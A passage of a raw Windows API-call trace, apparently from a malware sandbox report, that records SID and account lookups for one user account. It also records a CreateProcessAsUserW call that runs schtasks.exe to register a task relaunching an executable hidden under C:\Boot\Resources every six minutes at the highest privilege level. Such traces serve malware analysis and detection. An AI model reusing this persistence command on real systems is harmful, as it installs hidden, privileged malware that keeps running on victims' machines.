(param_1="1000") returned 0x4 [0130.738] memcpy (in: _Dst=0x20abba6cf18, _Src=0x20abba6d558, _Size=0x56 | out: _Dst=0x20abba6cf18) returned 0x20abba6cf18 [0130.738] memcpy (in: _Dst=0x20abba6cf6c, _Src=0x20abba6ac88, _Size=0xa | out: _Dst=0x20abba6cf6c) returned 0x20abba6cf6c [0130.738] free (_Block=0x20abc281be0) [0130.738] free (_Block=0x20abc281c40) [0130.738] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0130.738] malloc (_Size=0x5e) returned 0x20abc2807d0 [0130.739] free (_Block=0x20abc281cc0) [0130.739] malloc (_Size=0x18) returned 0x20abc281d00 [0130.740] free (_Block=0x20abc2807d0) [0130.740] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 0 [0130.742] GetLastError () returned 0x7a [0130.742] malloc (_Size=0x1a) returned 0x20abc2a9bb0 [0130.742] malloc (_Size=0xe) returned 0x20abc281c00 [0130.742] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9bb0, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281c00, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 1 [0130.744] malloc (_Size=0x18) returned 0x20abc2820c0 [0130.744] malloc (_Size=0x18) returned 0x20abc281de0 [0130.744] free (_Block=0x20abc2a9bb0) [0130.744] free (_Block=0x20abc281c00) [0130.744] free (_Block=0x20abc2a9f40) [0130.744] free (_Block=0x20abc281de0) [0130.744] free (_Block=0x20abc2820c0) [0130.744] free (_Block=0x20abc281d00) [0130.745] free (_Block=0x20abc281590) [0130.746] GetVersionExW (in: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x2d, dwMinorVersion=0xbba85138, dwBuildNumber=0x20a, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0130.746] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0130.746] GetLastError () returned 0x7a [0130.746] malloc (_Size=0x2c) returned 0x20abc280a50 [0130.746] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x20abc280a50, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc280a50, ReturnLength=0x2dc237c4b0) returned 1 [0130.746] IsValidSid (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0130.746] GetLengthSid (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0130.746] malloc (_Size=0x1c) returned 0x20abc2aa060 [0130.746] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2aa060, pSourceSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2aa060*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0130.746] GetSidIdentifierAuthority (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc280a62 [0130.747] malloc (_Size=0x18) returned 0x20abc281bc0 [0130.747] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0130.747] malloc (_Size=0x18) returned 0x20abc281e40 [0130.747] malloc (_Size=0x18) returned 0x20abc281aa0 [0130.747] SysStringLen (param_1="S-1-") returned 0x4 [0130.747] SysStringLen (param_1="5") returned 0x1 [0130.747] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba6ac88, _Size=0xa | out: _Dst=0x20abba88298) returned 0x20abba88298 [0130.747] memcpy (in: _Dst=0x20abba882a0, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba882a0) returned 0x20abba882a0 [0130.747] free (_Block=0x20abc281bc0) [0130.747] free (_Block=0x20abc281e40) [0130.747] GetSidSubAuthorityCount (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc280a61 [0130.747] GetSidSubAuthority (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc280a68 [0130.747] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0130.747] malloc (_Size=0x18) returned 0x20abc281e20 [0130.748] malloc (_Size=0x18) returned 0x20abc281a80 [0130.748] SysStringLen (param_1="S-1-5") returned 0x5 [0130.748] SysStringLen (param_1="-") returned 0x1 [0130.748] memcpy (in: _Dst=0x20abba88118, _Src=0x20abba88298, _Size=0xc | out: _Dst=0x20abba88118) returned 0x20abba88118 [0130.748] memcpy (in: _Dst=0x20abba88122, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba88122) returned 0x20abba88122 [0130.748] free (_Block=0x20abc281aa0) [0130.748] free (_Block=0x20abc281e20) [0130.748] malloc (_Size=0x18) returned 0x20abc281c80 [0130.748] malloc (_Size=0x18) returned 0x20abc281d20 [0130.748] SysStringLen (param_1="S-1-5-") returned 0x6 [0130.748] SysStringLen (param_1="21") returned 0x2 [0130.748] memcpy (in: _Dst=0x20abba6ac88, _Src=0x20abba88118, _Size=0xe | out: _Dst=0x20abba6ac88) returned 0x20abba6ac88 [0130.748] memcpy (in: _Dst=0x20abba6ac94, _Src=0x20abba88298, _Size=0x6 | out: _Dst=0x20abba6ac94) returned 0x20abba6ac94 [0130.748] free (_Block=0x20abc281a80) [0130.749] free (_Block=0x20abc281c80) [0130.749] GetSidSubAuthority (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc280a6c [0130.749] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0130.749] malloc (_Size=0x18) returned 0x20abc281c40 [0130.749] malloc (_Size=0x18) returned 0x20abc281e60 [0130.749] SysStringLen (param_1="S-1-5-21") returned 0x8 [0130.749] SysStringLen (param_1="-") returned 0x1 [0130.749] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba6ac88, _Size=0x12 | out: _Dst=0x20abba88298) returned 0x20abba88298 [0130.749] memcpy (in: _Dst=0x20abba882a8, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba882a8) returned 0x20abba882a8 [0130.749] free (_Block=0x20abc281d20) [0130.749] free (_Block=0x20abc281c40) [0130.749] malloc (_Size=0x18) returned 0x20abc281f80 [0130.749] malloc (_Size=0x18) returned 0x20abc2820e0 [0130.749] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0130.750] SysStringLen (param_1="1560258661") returned 0xa [0130.750] memcpy (in: _Dst=0x20abba63818, _Src=0x20abba88298, _Size=0x14 | out: _Dst=0x20abba63818) returned 0x20abba63818 [0130.750] memcpy (in: _Dst=0x20abba6382a, _Src=0x20abba6ac88, _Size=0x16 | out: _Dst=0x20abba6382a) returned 0x20abba6382a [0130.750] free (_Block=0x20abc281e60) [0130.750] free (_Block=0x20abc281f80) [0130.750] GetSidSubAuthority (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc280a70 [0130.750] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0130.750] malloc (_Size=0x18) returned 0x20abc2819e0 [0130.750] malloc (_Size=0x18) returned 0x20abc281a00 [0130.750] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0130.750] SysStringLen (param_1="-") returned 0x1 [0130.750] memcpy (in: _Dst=0x20abba63548, _Src=0x20abba63818, _Size=0x28 | out: _Dst=0x20abba63548) returned 0x20abba63548 [0130.751] memcpy (in: _Dst=0x20abba6356e, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6356e) returned 0x20abba6356e [0130.751] free (_Block=0x20abc2820e0) [0130.751] free (_Block=0x20abc2819e0) [0130.751] malloc (_Size=0x18) returned 0x20abc281d20 [0130.751] malloc (_Size=0x18) returned 0x20abc281e40 [0130.751] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0130.751] SysStringLen (param_1="3990802383") returned 0xa [0130.751] memcpy (in: _Dst=0x20abba6d558, _Src=0x20abba63548, _Size=0x2a | out: _Dst=0x20abba6d558) returned 0x20abba6d558 [0130.751] memcpy (in: _Dst=0x20abba6d580, _Src=0x20abba88298, _Size=0x16 | out: _Dst=0x20abba6d580) returned 0x20abba6d580 [0130.751] free (_Block=0x20abc281a00) [0130.751] free (_Block=0x20abc281d20) [0130.751] GetSidSubAuthority (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc280a74 [0130.752] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0130.752] malloc (_Size=0x18) returned 0x20abc281b40 [0130.752] malloc (_Size=0x18) returned 0x20abc281d20 [0130.752] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0130.752] SysStringLen (param_1="-") returned 0x1 [0130.752] memcpy (in: _Dst=0x20abba6cf18, _Src=0x20abba6d558, _Size=0x3e | out: _Dst=0x20abba6cf18) returned 0x20abba6cf18 [0130.752] memcpy (in: _Dst=0x20abba6cf54, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6cf54) returned 0x20abba6cf54 [0130.752] free (_Block=0x20abc281e40) [0130.752] free (_Block=0x20abc281b40) [0130.752] malloc (_Size=0x18) returned 0x20abc281d40 [0130.752] malloc (_Size=0x18) returned 0x20abc281c80 [0130.752] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0130.752] SysStringLen (param_1="1811730007") returned 0xa [0130.752] memcpy (in: _Dst=0x20abba6d558, _Src=0x20abba6cf18, _Size=0x40 | out: _Dst=0x20abba6d558) returned 0x20abba6d558 [0130.753] memcpy (in: _Dst=0x20abba6d596, _Src=0x20abba88298, _Size=0x16 | out: _Dst=0x20abba6d596) returned 0x20abba6d596 [0130.753] free (_Block=0x20abc281d20) [0130.753] free (_Block=0x20abc281d40) [0130.753] GetSidSubAuthority (pSid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc280a78 [0130.753] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0130.753] malloc (_Size=0x18) returned 0x20abc281f60 [0130.753] malloc (_Size=0x18) returned 0x20abc281f80 [0130.753] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0130.753] SysStringLen (param_1="-") returned 0x1 [0130.753] memcpy (in: _Dst=0x20abba6cf18, _Src=0x20abba6d558, _Size=0x54 | out: _Dst=0x20abba6cf18) returned 0x20abba6cf18 [0130.753] memcpy (in: _Dst=0x20abba6cf6a, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6cf6a) returned 0x20abba6cf6a [0130.753] free (_Block=0x20abc281c80) [0130.753] free (_Block=0x20abc281f60) [0130.753] malloc (_Size=0x18) returned 0x20abc281e60 [0130.754] malloc (_Size=0x18) returned 0x20abc281b80 [0130.754] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0130.754] SysStringLen (param_1="1000") returned 0x4 [0130.754] memcpy (in: _Dst=0x20abba6d558, _Src=0x20abba6cf18, _Size=0x56 | out: _Dst=0x20abba6d558) returned 0x20abba6d558 [0130.754] memcpy (in: _Dst=0x20abba6d5ac, _Src=0x20abba88298, _Size=0xa | out: _Dst=0x20abba6d5ac) returned 0x20abba6d5ac [0130.754] free (_Block=0x20abc281f80) [0130.754] free (_Block=0x20abc281e60) [0130.754] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0130.754] malloc (_Size=0x5e) returned 0x20abc280370 [0130.754] free (_Block=0x20abc281b80) [0130.754] malloc (_Size=0x18) returned 0x20abc281f60 [0130.755] free (_Block=0x20abc280370) [0130.755] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 0 [0130.770] GetLastError () returned 0x7a [0130.770] malloc (_Size=0x1a) returned 0x20abc2aa120 [0130.770] malloc (_Size=0xe) returned 0x20abc2819a0 [0130.770] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc280a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2aa120, cchName=0x2dc237c370, ReferencedDomainName=0x20abc2819a0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 1 [0130.771] malloc (_Size=0x18) returned 0x20abc281be0 [0130.771] malloc (_Size=0x18) returned 0x20abc281c80 [0130.771] free (_Block=0x20abc2aa120) [0130.771] free (_Block=0x20abc2819a0) [0130.771] free (_Block=0x20abc2aa060) [0130.772] free (_Block=0x20abc281c80) [0130.772] free (_Block=0x20abc281be0) [0130.772] free (_Block=0x20abc281f60) [0130.772] free (_Block=0x20abc280a50) [0130.773] SetEvent (hEvent=0x248) returned 1 [0130.774] free (_Block=0x20abc285410) [0130.774] CreateEnvironmentBlock () returned 0x1 [0130.781] malloc (_Size=0x18) returned 0x20abc281da0 [0130.781] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x20abba86130, lpCurrentDirectory=0x0, lpStartupInfo=0x2dc237c5d0*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2dc237c478 | out: lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessInformation=0x2dc237c478*(hProcess=0x260, hThread=0x264, dwProcessId=0x134c, dwThreadId=0x1340)) returned 1 [0130.923] CloseHandle (hObject=0x260) returned 1 [0130.923] CloseHandle (hObject=0x264) returned 1 [0130.924] free (_Block=0x20abc281da0) [0130.924] DestroyEnvironmentBlock () returned 0x1 [0130.924] malloc (_Size=0x48) returned 0x20abc285410 [0130.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc237c450 | out: lpSystemTimeAsFileTime=0x2dc237c450*(dwLowDateTime=0x9ccaeeb, dwHighDateTime=0x1d9eb0c)) [0130.924] SetEvent (hEvent=0x248) returned 1 [0130.924] CloseHandle (hObject=0x26c) returned 1 [0130.924] CloseHandle (hObject=0x270) returned 1 [0130.936] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abba48260 [0130.936] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba48260, pulNumLanguages=0x2dc237dd50 | out: pulNumLanguages=0x2dc237dd50) returned 1 [0130.936] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0130.937] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48270) returned 1 [0132.538] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0132.538] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0132.539] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48260 [0132.539] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0132.539] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0132.539] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48270 [0132.539] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0132.539] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba666c0 [0132.539] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba666c0, pulNumLanguages=0x2dc237dc88 | out: pulNumLanguages=0x2dc237dc88) returned 1 [0132.539] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba666c0) returned 1 [0132.542] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0132.543] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0132.543] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0132.544] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0132.544] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0132.546] GetCurrentThread () returned 0xfffffffffffffffe [0132.546] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x2dc237c510 | out: TokenHandle=0x2dc237c510*=0x270) returned 1 [0132.546] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x20a00000001, phNewToken=0x2dc237c528 | out: phNewToken=0x2dc237c528*=0x26c) returned 1 [0132.546] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0132.546] GetLastError () returned 0x7a [0132.546] malloc (_Size=0x2c) returned 0x20abc280ed0 [0132.546] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x20abc280ed0, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc280ed0, ReturnLength=0x2dc237c4b0) returned 1 [0132.546] IsValidSid (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0132.546] GetLengthSid (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0132.546] malloc (_Size=0x1c) returned 0x20abc2aa000 [0132.546] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2aa000, pSourceSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2aa000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0132.546] GetSidIdentifierAuthority (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc280ee2 [0132.547] malloc (_Size=0x18) returned 0x20abc281c60 [0132.547] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0132.547] malloc (_Size=0x18) returned 0x20abc281d20 [0132.547] malloc (_Size=0x18) returned 0x20abc281f20 [0132.547] SysStringLen (param_1="S-1-") returned 0x4 [0132.547] SysStringLen (param_1="5") returned 0x1 [0132.547] memcpy (in: _Dst=0x20abba6a718, _Src=0x20abba6ab08, _Size=0xa | out: _Dst=0x20abba6a718) returned 0x20abba6a718 [0132.547] memcpy (in: _Dst=0x20abba6a720, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba6a720) returned 0x20abba6a720 [0132.547] free (_Block=0x20abc281c60) [0132.547] free (_Block=0x20abc281d20) [0132.547] GetSidSubAuthorityCount (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc280ee1 [0132.547] GetSidSubAuthority (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc280ee8 [0132.547] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0132.547] malloc (_Size=0x18) returned 0x20abc281f60 [0132.547] malloc (_Size=0x18) returned 0x20abc281e40 [0132.547] SysStringLen (param_1="S-1-5") returned 0x5 [0132.547] SysStringLen (param_1="-") returned 0x1 [0132.547] memcpy (in: _Dst=0x20abba6a868, _Src=0x20abba6a718, _Size=0xc | out: _Dst=0x20abba6a868) returned 0x20abba6a868 [0132.547] memcpy (in: _Dst=0x20abba6a872, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba6a872) returned 0x20abba6a872 [0132.547] free (_Block=0x20abc281f20) [0132.547] free (_Block=0x20abc281f60) [0132.547] malloc (_Size=0x18) returned 0x20abc281d20 [0132.548] malloc (_Size=0x18) returned 0x20abc281b40 [0132.548] SysStringLen (param_1="S-1-5-") returned 0x6 [0132.548] SysStringLen (param_1="21") returned 0x2 [0132.548] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6a868, _Size=0xe | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0132.548] memcpy (in: _Dst=0x20abba6ab14, _Src=0x20abba6a718, _Size=0x6 | out: _Dst=0x20abba6ab14) returned 0x20abba6ab14 [0132.548] free (_Block=0x20abc281e40) [0132.548] free (_Block=0x20abc281d20) [0132.548] GetSidSubAuthority (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc280eec [0132.548] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0132.548] malloc (_Size=0x18) returned 0x20abc281ec0 [0132.548] malloc (_Size=0x18) returned 0x20abc282040 [0132.548] SysStringLen (param_1="S-1-5-21") returned 0x8 [0132.548] SysStringLen (param_1="-") returned 0x1 [0132.548] memcpy (in: _Dst=0x20abba6a718, _Src=0x20abba6ab08, _Size=0x12 | out: _Dst=0x20abba6a718) returned 0x20abba6a718 [0132.548] memcpy (in: _Dst=0x20abba6a728, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba6a728) returned 0x20abba6a728 [0132.548] free (_Block=0x20abc281b40) [0132.548] free (_Block=0x20abc281ec0) [0132.548] malloc (_Size=0x18) returned 0x20abc281c40 [0132.548] malloc (_Size=0x18) returned 0x20abc281be0 [0132.548] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0132.548] SysStringLen (param_1="1560258661") returned 0xa [0132.548] memcpy (in: _Dst=0x20abba638b8, _Src=0x20abba6a718, _Size=0x14 | out: _Dst=0x20abba638b8) returned 0x20abba638b8 [0132.548] memcpy (in: _Dst=0x20abba638ca, _Src=0x20abba6ab08, _Size=0x16 | out: _Dst=0x20abba638ca) returned 0x20abba638ca [0132.548] free (_Block=0x20abc282040) [0132.549] free (_Block=0x20abc281c40) [0132.549] GetSidSubAuthority (pSid=0x20abc280ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, 